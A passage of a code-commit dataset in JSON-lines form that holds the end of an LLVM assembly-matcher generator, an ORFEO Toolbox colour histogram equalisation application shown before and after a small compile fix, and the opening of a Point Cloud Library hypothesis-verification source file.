a hack.\n if (it->first == \"PHI\")\n continue;\n\n \/\/ Ignore instructions with no .s string.\n \/\/\n \/\/ FIXME: What are these?\n if (CGI.AsmString.empty())\n continue;\n\n \/\/ FIXME: Hack; ignore \"lock\".\n if (StringRef(CGI.AsmString).startswith(\"lock\"))\n continue;\n\n std::string Flattened = FlattenVariants(CGI.AsmString, 0);\n SmallVector<StringRef, 8> Tokens;\n\n TokenizeAsmString(Flattened, Tokens);\n\n DEBUG({\n outs() << it->first << \" -- flattened:\\\"\" \n << Flattened << \"\\\", tokens:[\";\n for (unsigned i = 0, e = Tokens.size(); i != e; ++i) {\n outs() << Tokens[i];\n if (i + 1 != e)\n outs() << \", \";\n }\n outs() << \"]\\n\";\n\n for (unsigned i = 0, e = CGI.OperandList.size(); i != e; ++i) {\n const CodeGenInstruction::OperandInfo &OI = CGI.OperandList[i];\n outs() << \" op[\" << i << \"] = \" << OI.Name\n << \" \" << OI.Rec->getName()\n << \" (\" << OI.MIOperandNo << \", \" << OI.MINumOperands << \")\\n\";\n }\n });\n\n \/\/ FIXME: Ignore prefixes with non-literal tokens.\n if (std::find(Tokens[0].begin(), Tokens[0].end(), '$') != Tokens[0].end()) {\n DEBUG({\n errs() << \"warning: '\" << it->first << \"': \"\n << \"ignoring non-literal token '\" << Tokens[0] << \"', \\n\";\n });\n continue;\n }\n\n \/\/ Ignore instructions with subreg specifiers, these are always fake\n \/\/ instructions for simplifying codegen.\n \/\/\n \/\/ FIXME: Is this true?\n \/\/\n \/\/ Also, we ignore instructions which reference the operand multiple times;\n \/\/ this implies a constraint we would not currently honor. These are\n \/\/ currently always fake instructions for simplifying codegen.\n \/\/\n \/\/ FIXME: Encode this assumption in the .td, so we can error out here.\n std::set<std::string> OperandNames;\n unsigned HasSubreg = 0, HasDuplicate = 0;\n for (unsigned i = 1, e = Tokens.size(); i < e; ++i) {\n if (Tokens[i][0] == '$' && \n std::find(Tokens[i].begin(), \n Tokens[i].end(), ':') != Tokens[i].end())\n HasSubreg = i;\n if (Tokens[i][0] == '$' && !OperandNames.insert(Tokens[i]).second)\n HasDuplicate = i;\n }\n if (HasSubreg) {\n DEBUG({\n errs() << \"warning: '\" << it->first << \"': \"\n << \"ignoring instruction; operand with subreg attribute '\" \n << Tokens[HasSubreg] << \"', \\n\";\n });\n continue;\n } else if (HasDuplicate) {\n DEBUG({\n errs() << \"warning: '\" << it->first << \"': \"\n << \"ignoring instruction; tied operand '\" \n << Tokens[HasSubreg] << \"', \\n\";\n });\n continue;\n }\n\n std::string FnName = \"Match_\" + Target.getName() + \"_Inst_\" + it->first;\n MatchFns.push_back(FnName);\n\n OS << \"static bool \" << FnName\n << \"(const StringRef &Name,\"\n << \" SmallVectorImpl<X86Operand> &Operands,\"\n << \" MCInst &Inst) {\\n\\n\";\n\n OS << \" \/\/ Match name.\\n\";\n OS << \" if (Name != \\\"\" << Tokens[0] << \"\\\")\\n\";\n OS << \" return true;\\n\\n\";\n \n OS << \" \/\/ Match number of operands.\\n\";\n OS << \" if (Operands.size() != \" << Tokens.size() - 1 << \")\\n\";\n OS << \" return true;\\n\\n\";\n\n \/\/ Compute the total number of MCOperands.\n \/\/\n \/\/ FIXME: Isn't this somewhere else?\n unsigned NumMIOperands = 0;\n for (unsigned i = 0, e = CGI.OperandList.size(); i != e; ++i) {\n const CodeGenInstruction::OperandInfo &OI = CGI.OperandList[i];\n NumMIOperands = std::max(NumMIOperands, \n OI.MIOperandNo + OI.MINumOperands);\n }\n\n std::set<unsigned> MatchedOperands;\n \/\/ This the list of operands we need to fill in.\n if (NumMIOperands)\n OS << \" MCOperand Ops[\" << NumMIOperands << \"];\\n\\n\";\n\n unsigned ParsedOpIdx = 0;\n for (unsigned i = 1, e = Tokens.size(); i < e; ++i) {\n \/\/ FIXME: Can only match simple operands.\n if (Tokens[i][0] != '$') {\n OS << \" \/\/ FIXME: unable to match token: '\" << Tokens[i] << \"'!\\n\";\n OS << \" return true;\\n\\n\";\n continue;\n }\n\n \/\/ Map this token to an operand. FIXME: Move elsewhere.\n\n unsigned Idx;\n try {\n Idx = CGI.getOperandNamed(Tokens[i].substr(1));\n } catch(...) {\n OS << \" \/\/ FIXME: unable to find operand: '\" << Tokens[i] << \"'!\\n\";\n OS << \" return true;\\n\\n\";\n continue;\n }\n\n \/\/ FIXME: Each match routine should always end up filling the same number\n \/\/ of operands, we should just check that the number matches what the\n \/\/ match routine expects here instead of passing it. We can do this once\n \/\/ we start generating the class match functions.\n const CodeGenInstruction::OperandInfo &OI = CGI.OperandList[Idx];\n\n \/\/ Track that we have matched these operands.\n \/\/\n \/\/ FIXME: Verify that we don't parse something to the same operand twice.\n for (unsigned j = 0; j != OI.MINumOperands; ++j)\n MatchedOperands.insert(OI.MIOperandNo + j);\n\n OS << \" \/\/ Match '\" << Tokens[i] << \"' (parsed operand \" << ParsedOpIdx \n << \") to machine operands [\" << OI.MIOperandNo << \", \" \n << OI.MIOperandNo + OI.MINumOperands << \").\\n\";\n OS << \" if (Match_\" << Target.getName() \n << \"_Op_\" << OI.Rec->getName() << \"(\"\n << \"Operands[\" << ParsedOpIdx << \"], \"\n << \"&Ops[\" << OI.MIOperandNo << \"], \" \n << OI.MINumOperands << \"))\\n\";\n OS << \" return true;\\n\\n\";\n\n ++ParsedOpIdx;\n }\n\n \/\/ Generate code to construct the MCInst.\n\n OS << \" \/\/ Construct MCInst.\\n\";\n OS << \" Inst.setOpcode(\" << Target.getName() << \"::\" \n << it->first << \");\\n\";\n for (unsigned i = 0, e = NumMIOperands; i != e; ++i) {\n \/\/ FIXME: Oops! Ignore this for now, the instruction should print ok. If\n \/\/ we need to evaluate the constraints.\n if (!MatchedOperands.count(i)) {\n OS << \"\\n\";\n OS << \" \/\/ FIXME: Nothing matched Ops[\" << i << \"]!\\n\";\n OS << \" Ops[\" << i << \"] = MCOperand::CreateReg(0);\\n\";\n OS << \"\\n\";\n }\n\n OS << \" Inst.addOperand(Ops[\" << i << \"]);\\n\";\n }\n OS << \"\\n\";\n OS << \" return false;\\n\";\n OS << \"}\\n\\n\";\n }\n\n \/\/ Generate the top level match function.\n\n OS << \"bool \" << Target.getName() << ClassName\n << \"::MatchInstruction(const StringRef &Name, \"\n << \"SmallVectorImpl<\" << Target.getName() << \"Operand> &Operands, \"\n << \"MCInst &Inst) {\\n\";\n for (std::list<std::string>::iterator it = MatchFns.begin(), \n ie = MatchFns.end(); it != ie; ++it) {\n OS << \" if (!\" << *it << \"(Name, Operands, Inst))\\n\";\n OS << \" return false;\\n\\n\";\n }\n\n OS << \" return true;\\n\";\n OS << \"}\\n\\n\";\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n Some parts of this code are derived from ITK. See ITKCopyright.txt\n for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include <iostream>\n#include <sstream>\n\n#include \"itkRescaleIntensityImageFilter.h\"\n#include \"itkVectorIndexSelectionCastImageFilter.h\"\n\n#include \"otbImageToVectorImageCastFilter.h\"\n#include \"otbImageList.h\"\n#include \"otbImage.h\"\n#include \"otbVectorImage.h\"\n#include \"otbImageFileReader.h\"\n#include \"otbStreamingHistogramVectorImageFilter.h\"\n#include \"otbStreamingMinMaxVectorImageFilter.h\"\n#include \"otbGlobalHistogramEqualizationFilter.h\"\n#include \"otbVectorImageColorSpaceTransformFilter.h\"\n#include \"otbImageFileWriter.h\"\n#include \"otbImageListToVectorImageFilter.h\"\n#include \"otbRGBToYUVFunctor.h\"\n#include \"otbYUVToRGBFunctor.h\"\n\n#include \"otbWrapperApplication.h\"\n#include \"otbWrapperApplicationFactory.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\nclass ColorHistogramEqualize : public Application\n{\npublic:\n\n typedef ColorHistogramEqualize Self;\n typedef Application Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n typedef itk::SmartPointer<const Self> ConstPointer;\n\n itkNewMacro(Self);\n\n itkTypeMacro(Self, otb::Application);\n\n typedef unsigned int PixelType;\n \/\/ typedef unsigned int OutputPixelType;\n\n typedef otb::Image<PixelType, 2> ImageType;\n typedef otb::VectorImage<PixelType, 2> VectorType;\n typedef otb::VectorImage<float, 2> FloatVectorType;\n typedef FloatVectorType::PixelType FloatVectorPixelType;\n typedef VectorType::PixelType VectorPixelType;\n typedef otb::Image<float, 2> FloatImageType;\n\n typedef otb::StreamingMinMaxVectorImageFilter<VectorType> StreamingMinMaxFilterType;\n typedef itk::VariableLengthVector<PixelType> MinMaxPixelType;\n\n typedef otb::StreamingHistogramVectorImageFilter<VectorType> HistogramFilterType;\n typedef typename itk::NumericTraits< float >::RealType MeasurementType;\n typedef itk::Statistics::Histogram< MeasurementType, 1 > HistogramType;\n typedef otb::ObjectList< HistogramType > HistogramListType;\n typedef otb::GlobalHistogramEqualizationFilter<ImageType, FloatImageType> HistogramEqualizationFilterType;\n\n typedef otb::Functor::RGBToYUVFunctor<VectorPixelType,FloatVectorPixelType> YUVFunctorType;\n typedef otb::VectorImageColorSpaceTransformFilter<VectorType, FloatVectorType, YUVFunctorType> YUVFilterType;\n typedef itk::VectorIndexSelectionCastImageFilter<FloatVectorType, FloatImageType> VectorCastFilterType;\n typedef itk::RescaleIntensityImageFilter<FloatImageType, ImageType> FloatRescalerType;\n typedef otb::ImageToVectorImageCastFilter<ImageType,VectorType> ImageToVectorImageCastFilterType;\n typedef otb::ImageList<FloatImageType> ImageListType;\n typedef otb::ImageListToVectorImageFilter<ImageListType, FloatVectorType > ListConcatenerFilterType;\n typedef otb::Functor::YUVToRGBFunctor<FloatVectorPixelType,VectorPixelType> YUVToRGBFunctorType;\n typedef otb::VectorImageColorSpaceTransformFilter<FloatVectorType, VectorType, YUVToRGBFunctorType> RGBFilterType;\n\nprivate:\n\n void DoInit()\n {\n this->SetHaveInXML(false);\n this->SetHaveOutXML(false);\n SetName(\"ColorHistogramEqualize\");\n SetDescription(\"Perform Histogram Equalization of Multi band raster image\");\n\n SetDocName(\"ColorHistogramEqualize\");\n SetDocLongDescription(\"Perform Histogram Equalization of Multi band raster image\");\n SetDocLimitations(\"None\");\n SetDocAuthors(\"OTB-Team\");\n SetDocSeeAlso(\"ColorSpaceTransform\");\n\n AddDocTag(\"Contrast Enhancement\");\n AddDocTag(\"color histogram\");\n\n AddParameter(ParameterType_InputImage, \"in\", \"Input Image\");\n MandatoryOn(\"in\");\n\n AddParameter(ParameterType_String, \"type\", \"Pixel type of input image(eg: uint8\/uint16)\");\n SetParameterString(\"type\", \"uint8\");\n\n AddParameter(ParameterType_OutputImage, \"out\", \"Output Image\");\n MandatoryOn(\"out\");\n\n AddParameter(ParameterType_Int, \"red\", \"Red channel\");\n SetDefaultParameterInt(\"red\", 0);\n AddParameter(ParameterType_Int, \"green\", \"Green channel\");\n SetDefaultParameterInt(\"green\", 1);\n AddParameter(ParameterType_Int, \"blue\", \"Blue channel\");\n SetDefaultParameterInt(\"blue\", 2);\n\n SetDocExampleParameterValue(\"in\", \"rgbInput.tif\");\n SetDocExampleParameterValue(\"type\", \"uint8\");\n SetDocExampleParameterValue(\"out\", \"yuvOutput.tif\");\n\n }\n\n void DoUpdateParameters()\n {\n }\n\n void DoExecute()\n {\n std::string inputFilename = GetParameterAsString(\"in\");\n std::string type = GetParameterString(\"type\");\n itk::Index<3> index;\n index[0] = GetParameterInt(\"red\"); ;\n index[1] = GetParameterInt(\"green\");\n index[2] = GetParameterInt(\"blue\");\n\n int delta = 128;\n if (type == \"uint8\")\n delta = 128;\n else if(type == \"uint16\")\n delta = 32768;\n else if(type == \"float\")\n delta = 0.5;\n else\n std::cerr << \"Unknown pixel type\\n\";\n\n typedef otb::ImageFileReader<VectorType> VectorReaderType;\n VectorReaderType::Pointer vectorReader = VectorReaderType::New();\n vectorReader->SetFileName(inputFilename);\n vectorReader->Update();\n\n\n StreamingMinMaxFilterType::Pointer filterMinMax = StreamingMinMaxFilterType::New();\n filterMinMax->SetInput( vectorReader->GetOutput() );\n filterMinMax->Update();\n MinMaxPixelType maxPixel = filterMinMax->GetMaximum();\n MinMaxPixelType::ValueType maxPixelValue;\n maxPixelValue = maxPixel[0]; \/\/must get the maximum of all bands\n maxPixelValue = (maxPixelValue < 255) ? 255 : maxPixelValue; \/\/shouldnt go below 255 in case of uint8\n\n YUVFilterType::Pointer yuvFilter = YUVFilterType::New();\n yuvFilter->SetInput(vectorReader->GetOutput());\n yuvFilter->SetDelta(delta);\n yuvFilter->SetRGBIndex(index);\n yuvFilter->Update();\n\n VectorCastFilterType::Pointer vectorCastFilter1 = VectorCastFilterType::New();\n vectorCastFilter1->SetInput(yuvFilter->GetOutput());\n vectorCastFilter1->SetIndex(0);\n vectorCastFilter1->Update();\n\n FloatRescalerType::Pointer floatRescaler1 = FloatRescalerType::New();\n floatRescaler1->SetOutputMinimum(0);\n floatRescaler1->SetOutputMaximum(maxPixelValue );\n floatRescaler1->SetInput(vectorCastFilter1->GetOutput()); \/\/Y\n floatRescaler1->Update();\n\n VectorCastFilterType::Pointer vectorCastFilter2 = VectorCastFilterType::New();\n vectorCastFilter2->SetInput(yuvFilter->GetOutput());\n vectorCastFilter2->SetIndex(1);\n vectorCastFilter2->Update();\n\n VectorCastFilterType::Pointer vectorCastFilter3 = VectorCastFilterType::New();\n vectorCastFilter3->SetInput(yuvFilter->GetOutput());\n vectorCastFilter3->SetIndex(2);\n vectorCastFilter3->Update();\n\n ImageToVectorImageCastFilterType::Pointer imageToVectorFilter = ImageToVectorImageCastFilterType::New();\n imageToVectorFilter->SetInput(floatRescaler1->GetOutput());\n imageToVectorFilter->Update();\n\n VectorType::Pointer histInput;\n ImageType::Pointer histEquInput;\n\n histInput = imageToVectorFilter->GetOutput(); \/\/conversion of indexFilter->out\n histEquInput = floatRescaler1->GetOutput();\n\n filterMinMax->SetInput( histInput );\n filterMinMax->Update();\n MinMaxPixelType minPixel = filterMinMax->GetMinimum();\n maxPixel = filterMinMax->GetMaximum();\n\n unsigned int binestimate = maxPixel[0]- minPixel[0] + 1;\n unsigned int bins = (binestimate < 256)? 256: binestimate;\n\n otbAppLogDEBUG( << \"MaxPixelValue = \" << maxPixelValue <<std::endl );\n otbAppLogDEBUG( << \"Delta = \" << delta << std::endl );\n otbAppLogDEBUG( << \"Bins = \" << bins << std::endl );\n\n HistogramFilterType::Pointer histogramFilter = HistogramFilterType::New();\n histogramFilter->SetInput( histInput );\n histogramFilter->GetFilter()->SetHistogramMin( minPixel );\n histogramFilter->GetFilter()->SetHistogramMax( maxPixel );\n histogramFilter->GetFilter()->SetNumberOfBins( bins );\n histogramFilter->GetFilter()->SetSubSamplingRate( 1 );\n histogramFilter->Update();\n\n HistogramEqualizationFilterType::Pointer histEqualizeFilter = HistogramEqualizationFilterType::New();\n\n HistogramListType::Pointer histList = histogramFilter->GetHistogramList();\n for( HistogramListType::ConstIterator it( histList->Begin() ); it!=histList->End(); ++it )\n {\n\n HistogramType::Pointer hist = it.Get();\n histEqualizeFilter->SetInput( histEquInput );\n\n \/\/ histEqualizeFilter->SetMinimumRange(0);\n histEqualizeFilter->SetMinimumRange(minPixel[0]);\n histEqualizeFilter->SetHistogram(hist);\n histEqualizeFilter->Update();\n\n \/*\n typedef otb::ImageFileWriter< VectorType > FloatImageWriterType;\n typedef otb::ImageFileWriter< FloatImageType > ImageWriterType;\n ImageWriterType::Pointer outImageWriter = ImageWriterType::New();\n outImageWriter->SetFileName(strm.str());\n outImageWriter->SetInput(histEqualizeFilter->GetOutput());\n outImageWriter->Update();\n std::cerr << strm.str() << \"\\n\";\n *\/\n }\n\n \/\/\/YCbCr -> rgb\n ImageListType::Pointer m_ImageList = ImageListType::New();\n m_ImageList->PushBack( histEqualizeFilter->GetOutput() ); \/\/Y band equalized\n m_ImageList->PushBack( vectorCastFilter2->GetOutput() ); \/\/Cb\n m_ImageList->PushBack( vectorCastFilter3->GetOutput() ); \/\/Cr\n\n ListConcatenerFilterType::Pointer m_Concatener = ListConcatenerFilterType::New();\n\n m_Concatener->SetInput( m_ImageList );\n m_Concatener->Update();\n\n RGBFilterType::Pointer rgbFilter = RGBFilterType::New();\n rgbFilter->SetMaxPixelValue(maxPixelValue);\n rgbFilter->SetDelta(delta);\n rgbFilter->SetInput(m_Concatener->GetOutput());\n rgbFilter->SetRGBIndex(index);\n rgbFilter->Update();\n\n SetParameterOutputImage(\"out\", rgbFilter->GetOutput());\n }\n\n};\n} \/\/end namespace Wrapper\n} \/\/end namespace otb\n\nOTB_APPLICATION_EXPORT(otb::Wrapper::ColorHistogramEqualize)\n<commit_msg>COMP: do not use typename outside template class<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n Some parts of this code are derived from ITK. See ITKCopyright.txt\n for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include <iostream>\n#include <sstream>\n\n#include \"itkRescaleIntensityImageFilter.h\"\n#include \"itkVectorIndexSelectionCastImageFilter.h\"\n\n#include \"otbImageToVectorImageCastFilter.h\"\n#include \"otbImageList.h\"\n#include \"otbImage.h\"\n#include \"otbVectorImage.h\"\n#include \"otbImageFileReader.h\"\n#include \"otbStreamingHistogramVectorImageFilter.h\"\n#include \"otbStreamingMinMaxVectorImageFilter.h\"\n#include \"otbGlobalHistogramEqualizationFilter.h\"\n#include \"otbVectorImageColorSpaceTransformFilter.h\"\n#include \"otbImageFileWriter.h\"\n#include \"otbImageListToVectorImageFilter.h\"\n#include \"otbRGBToYUVFunctor.h\"\n#include \"otbYUVToRGBFunctor.h\"\n\n#include \"otbWrapperApplication.h\"\n#include \"otbWrapperApplicationFactory.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\nclass ColorHistogramEqualize : public Application\n{\npublic:\n\n typedef ColorHistogramEqualize Self;\n typedef Application Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n typedef itk::SmartPointer<const Self> ConstPointer;\n\n itkNewMacro(Self);\n\n itkTypeMacro(Self, otb::Application);\n\n typedef unsigned int PixelType;\n \/\/ typedef unsigned int OutputPixelType;\n\n typedef otb::Image<PixelType, 2> ImageType;\n typedef otb::VectorImage<PixelType, 2> VectorType;\n typedef otb::VectorImage<float, 2> FloatVectorType;\n typedef FloatVectorType::PixelType FloatVectorPixelType;\n typedef VectorType::PixelType VectorPixelType;\n typedef otb::Image<float, 2> FloatImageType;\n\n typedef otb::StreamingMinMaxVectorImageFilter<VectorType> StreamingMinMaxFilterType;\n typedef itk::VariableLengthVector<PixelType> MinMaxPixelType;\n\n typedef otb::StreamingHistogramVectorImageFilter<VectorType> HistogramFilterType;\n typedef itk::NumericTraits< float >::RealType MeasurementType;\n typedef itk::Statistics::Histogram< MeasurementType, 1 > HistogramType;\n typedef otb::ObjectList< HistogramType > HistogramListType;\n typedef otb::GlobalHistogramEqualizationFilter<ImageType, FloatImageType> HistogramEqualizationFilterType;\n\n typedef otb::Functor::RGBToYUVFunctor<VectorPixelType,FloatVectorPixelType> YUVFunctorType;\n typedef otb::VectorImageColorSpaceTransformFilter<VectorType, FloatVectorType, YUVFunctorType> YUVFilterType;\n typedef itk::VectorIndexSelectionCastImageFilter<FloatVectorType, FloatImageType> VectorCastFilterType;\n typedef itk::RescaleIntensityImageFilter<FloatImageType, ImageType> FloatRescalerType;\n typedef otb::ImageToVectorImageCastFilter<ImageType,VectorType> ImageToVectorImageCastFilterType;\n typedef otb::ImageList<FloatImageType> ImageListType;\n typedef otb::ImageListToVectorImageFilter<ImageListType, FloatVectorType > ListConcatenerFilterType;\n typedef otb::Functor::YUVToRGBFunctor<FloatVectorPixelType,VectorPixelType> YUVToRGBFunctorType;\n typedef otb::VectorImageColorSpaceTransformFilter<FloatVectorType, VectorType, YUVToRGBFunctorType> RGBFilterType;\n\nprivate:\n\n void DoInit()\n {\n this->SetHaveInXML(false);\n this->SetHaveOutXML(false);\n SetName(\"ColorHistogramEqualize\");\n SetDescription(\"Perform Histogram Equalization of Multi band raster image\");\n\n SetDocName(\"ColorHistogramEqualize\");\n SetDocLongDescription(\"Perform Histogram Equalization of Multi band raster image\");\n SetDocLimitations(\"None\");\n SetDocAuthors(\"OTB-Team\");\n SetDocSeeAlso(\"ColorSpaceTransform\");\n\n AddDocTag(\"Contrast Enhancement\");\n AddDocTag(\"color histogram\");\n\n AddParameter(ParameterType_InputImage, \"in\", \"Input Image\");\n MandatoryOn(\"in\");\n\n AddParameter(ParameterType_String, \"type\", \"Pixel type of input image(eg: uint8\/uint16)\");\n SetParameterString(\"type\", \"uint8\");\n\n AddParameter(ParameterType_OutputImage, \"out\", \"Output Image\");\n MandatoryOn(\"out\");\n\n AddParameter(ParameterType_Int, \"red\", \"Red channel\");\n SetDefaultParameterInt(\"red\", 0);\n AddParameter(ParameterType_Int, \"green\", \"Green channel\");\n SetDefaultParameterInt(\"green\", 1);\n AddParameter(ParameterType_Int, \"blue\", \"Blue channel\");\n SetDefaultParameterInt(\"blue\", 2);\n\n SetDocExampleParameterValue(\"in\", \"rgbInput.tif\");\n SetDocExampleParameterValue(\"type\", \"uint8\");\n SetDocExampleParameterValue(\"out\", \"yuvOutput.tif\");\n\n }\n\n void DoUpdateParameters()\n {\n }\n\n void DoExecute()\n {\n std::string inputFilename = GetParameterAsString(\"in\");\n std::string type = GetParameterString(\"type\");\n itk::Index<3> index;\n index[0] = GetParameterInt(\"red\"); ;\n index[1] = GetParameterInt(\"green\");\n index[2] = GetParameterInt(\"blue\");\n\n int delta = 128;\n if (type == \"uint8\")\n delta = 128;\n else if(type == \"uint16\")\n delta = 32768;\n else if(type == \"float\")\n delta = 0.5;\n else\n std::cerr << \"Unknown pixel type\\n\";\n\n typedef otb::ImageFileReader<VectorType> VectorReaderType;\n VectorReaderType::Pointer vectorReader = VectorReaderType::New();\n vectorReader->SetFileName(inputFilename);\n vectorReader->Update();\n\n\n StreamingMinMaxFilterType::Pointer filterMinMax = StreamingMinMaxFilterType::New();\n filterMinMax->SetInput( vectorReader->GetOutput() );\n filterMinMax->Update();\n MinMaxPixelType maxPixel = filterMinMax->GetMaximum();\n MinMaxPixelType::ValueType maxPixelValue;\n maxPixelValue = maxPixel[0]; \/\/must get the maximum of all bands\n maxPixelValue = (maxPixelValue < 255) ? 255 : maxPixelValue; \/\/shouldnt go below 255 in case of uint8\n\n YUVFilterType::Pointer yuvFilter = YUVFilterType::New();\n yuvFilter->SetInput(vectorReader->GetOutput());\n yuvFilter->SetDelta(delta);\n yuvFilter->SetRGBIndex(index);\n yuvFilter->Update();\n\n VectorCastFilterType::Pointer vectorCastFilter1 = VectorCastFilterType::New();\n vectorCastFilter1->SetInput(yuvFilter->GetOutput());\n vectorCastFilter1->SetIndex(0);\n vectorCastFilter1->Update();\n\n FloatRescalerType::Pointer floatRescaler1 = FloatRescalerType::New();\n floatRescaler1->SetOutputMinimum(0);\n floatRescaler1->SetOutputMaximum(maxPixelValue );\n floatRescaler1->SetInput(vectorCastFilter1->GetOutput()); \/\/Y\n floatRescaler1->Update();\n\n VectorCastFilterType::Pointer vectorCastFilter2 = VectorCastFilterType::New();\n vectorCastFilter2->SetInput(yuvFilter->GetOutput());\n vectorCastFilter2->SetIndex(1);\n vectorCastFilter2->Update();\n\n VectorCastFilterType::Pointer vectorCastFilter3 = VectorCastFilterType::New();\n vectorCastFilter3->SetInput(yuvFilter->GetOutput());\n vectorCastFilter3->SetIndex(2);\n vectorCastFilter3->Update();\n\n ImageToVectorImageCastFilterType::Pointer imageToVectorFilter = ImageToVectorImageCastFilterType::New();\n imageToVectorFilter->SetInput(floatRescaler1->GetOutput());\n imageToVectorFilter->Update();\n\n VectorType::Pointer histInput;\n ImageType::Pointer histEquInput;\n\n histInput = imageToVectorFilter->GetOutput(); \/\/conversion of indexFilter->out\n histEquInput = floatRescaler1->GetOutput();\n\n filterMinMax->SetInput( histInput );\n filterMinMax->Update();\n MinMaxPixelType minPixel = filterMinMax->GetMinimum();\n maxPixel = filterMinMax->GetMaximum();\n\n unsigned int binestimate = maxPixel[0]- minPixel[0] + 1;\n unsigned int bins = (binestimate < 256)? 256: binestimate;\n\n otbAppLogDEBUG( << \"MaxPixelValue = \" << maxPixelValue <<std::endl );\n otbAppLogDEBUG( << \"Delta = \" << delta << std::endl );\n otbAppLogDEBUG( << \"Bins = \" << bins << std::endl );\n\n HistogramFilterType::Pointer histogramFilter = HistogramFilterType::New();\n histogramFilter->SetInput( histInput );\n histogramFilter->GetFilter()->SetHistogramMin( minPixel );\n histogramFilter->GetFilter()->SetHistogramMax( maxPixel );\n histogramFilter->GetFilter()->SetNumberOfBins( bins );\n histogramFilter->GetFilter()->SetSubSamplingRate( 1 );\n histogramFilter->Update();\n\n HistogramEqualizationFilterType::Pointer histEqualizeFilter = HistogramEqualizationFilterType::New();\n\n HistogramListType::Pointer histList = histogramFilter->GetHistogramList();\n for( HistogramListType::ConstIterator it( histList->Begin() ); it!=histList->End(); ++it )\n {\n\n HistogramType::Pointer hist = it.Get();\n histEqualizeFilter->SetInput( histEquInput );\n\n \/\/ histEqualizeFilter->SetMinimumRange(0);\n histEqualizeFilter->SetMinimumRange(minPixel[0]);\n histEqualizeFilter->SetHistogram(hist);\n histEqualizeFilter->Update();\n\n \/*\n typedef otb::ImageFileWriter< VectorType > FloatImageWriterType;\n typedef otb::ImageFileWriter< FloatImageType > ImageWriterType;\n ImageWriterType::Pointer outImageWriter = ImageWriterType::New();\n outImageWriter->SetFileName(strm.str());\n outImageWriter->SetInput(histEqualizeFilter->GetOutput());\n outImageWriter->Update();\n std::cerr << strm.str() << \"\\n\";\n *\/\n }\n\n \/\/\/YCbCr -> rgb\n ImageListType::Pointer m_ImageList = ImageListType::New();\n m_ImageList->PushBack( histEqualizeFilter->GetOutput() ); \/\/Y band equalized\n m_ImageList->PushBack( vectorCastFilter2->GetOutput() ); \/\/Cb\n m_ImageList->PushBack( vectorCastFilter3->GetOutput() ); \/\/Cr\n\n ListConcatenerFilterType::Pointer m_Concatener = ListConcatenerFilterType::New();\n\n m_Concatener->SetInput( m_ImageList );\n m_Concatener->Update();\n\n RGBFilterType::Pointer rgbFilter = RGBFilterType::New();\n rgbFilter->SetMaxPixelValue(maxPixelValue);\n rgbFilter->SetDelta(delta);\n rgbFilter->SetInput(m_Concatener->GetOutput());\n rgbFilter->SetRGBIndex(index);\n rgbFilter->Update();\n\n SetParameterOutputImage(\"out\", rgbFilter->GetOutput());\n }\n\n};\n} \/\/end namespace Wrapper\n} \/\/end namespace otb\n\nOTB_APPLICATION_EXPORT(otb::Wrapper::ColorHistogramEqualize)\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Software License Agreement (BSD License)\n *\n * Point Cloud Library (PCL) - www.pointclouds.org\n * Copyright (c) 2010-2011, Willow Garage, Inc.\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided\n * with the distribution.\n * * Neither the name of Willow Garage, Inc. nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <pcl\/recognition\/hv\/hv_papazov.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate<typename ModelT, typename SceneT> void\npcl::PapazovHV<ModelT, SceneT>::initialize ()\n{\n \/\/ initialize mask...\n mask_.resize (complete_models_.size ());\n for (size_t i = 0; i < complete_models_.size (); i++)\n mask_[i] = true;\n\n \/\/ initalize model\n for (size_t m = 0; m < complete_models_.size (); m++)\n {\n 